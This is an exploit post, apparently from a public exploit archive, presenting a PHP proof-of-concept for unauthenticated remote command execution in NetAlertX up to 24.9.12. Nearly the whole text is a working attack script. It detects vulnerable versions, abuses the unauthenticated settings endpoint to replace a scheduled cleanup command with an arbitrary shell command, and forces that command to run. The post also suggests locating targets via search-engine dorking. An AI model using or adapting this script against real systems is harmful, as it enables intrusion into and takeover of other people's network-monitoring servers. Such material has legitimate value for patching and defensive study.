=============================================================================================================================================
| # Title : NetAlertX 24.9.12 =============================================================================================================================================
| # Title : NetAlertX 24.9.12 PHP Code Injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) |
| # Vendor : https://netalertx.com/ |
=============================================================================================================================================

POC :

[+] Dorking ?n Google Or Other Search Enggine.

[+] An RCE (Remote Command Execution) exploit targeting NetAlertX, where an attacker can update settings without authentication, leading to command execution on the system.

[+] save code as poc.php .

[+] USage : cmd => c:\www\test\php poc.php

[+] SeT target = Line : 111

[+] PayLoad :

<?php

class NetAlertXExploit {
private $target;
private $port;
private $waitTime;
private $cleanup;
private $baseUrl;

public function __construct($target, $port = 20211, $waitTime = 75, $cleanup = true) {
$this->target = $target;
$this->port = $port;
$this->waitTime = $waitTime;
$this->cleanup = $cleanup;
$this->baseUrl = "http://$target:$port";
}

private function sendRequest($method, $uri, $data = null) {
$url = "{$this->baseUrl}$uri";
$options = [
'http' => [
'method' => $method,
'header' => "Content-Type: application/json\r\n",
'ignore_errors' => true
]
];
if ($data) {
$options['http']['content'] = json_encode($data);
}
return file_get_contents($url, false, stream_context_create($options));
}

public function check() {
echo "[*] Checking if target is vulnerable...\n";
$res = $this->sendRequest("GET", "/maintenance.php");

if (!$res) {
echo "[-] Target is not reachable.\n";
return false;
}

preg_match('/Installed version.*?([\d.]+)/', $res, $matches);
if (!$matches) {
echo "[-] Failed to detect version.\n";
return false;
}

$version = $matches[1];
if (version_compare($version, "23.01.14", ">=") && version_compare($version, "24.9.12", "<=")) {
echo "[+] Vulnerable version detected: $version\n";
return true;
}

echo "[-] Target is not vulnerable (Version: $version).\n";
return false;
}

public function exploit($cmd) {
echo "[*] Exploiting target...\n";
$payload = "/bin/sh -c \"$cmd\"";
$this->updateSettings($payload, "*");

echo "[*] Waiting for settings update...\n";
sleep($this->waitTime);

echo "[*] Adding payload to execution queue...\n";
$this->addToExecutionQueue("run|DBCLNP");
$this->addToExecutionQueue("cron_restart_backend");

echo "[+] Payload sent successfully!\n";
}

private function updateSettings($cmd, $schedule) {
$data = [
'function' => 'savesettings',
'settings' => [
['DBCLNP', 'DBCLNP_RUN', 'string', 'schedule'],
['DBCLNP', 'DBCLNP_CMD', 'string', $cmd],
['DBCLNP', 'DBCLNP_RUN_SCHD', 'string', "$schedule * * * *"],
]
];
$res = $this->sendRequest("POST", "/php/server/util.php", $data);
if (!$res) {
die("[-] Failed to update settings.\n");
}
echo "[+] DBCLNP_CMD updated to '$cmd'.\n";
}

private function addToExecutionQueue($cmd) {
$data = [
'function' => 'addToExecutionQueue',
'action' => uniqid() . "|$cmd"
];
$res = $this->sendRequest("POST", "/php/server/util.php", $data);
if (!$res) {
die("[-] Failed to add payload to execution queue.\n");
}
}

public function cleanup() {
if (!$this->cleanup) return;

echo "[*] Restoring original settings...\n";
$defaultCmd = 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}';
$this->updateSettings($defaultCmd, "*/30");
echo "[+] Cleanup completed.\n";
}
}

// ?????????
$target = "192.168.1.100";
$exploit = new NetAlertXExploit($target);
if ($exploit->check()) {
$exploit->exploit("id");
$exploit->cleanup();
}

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================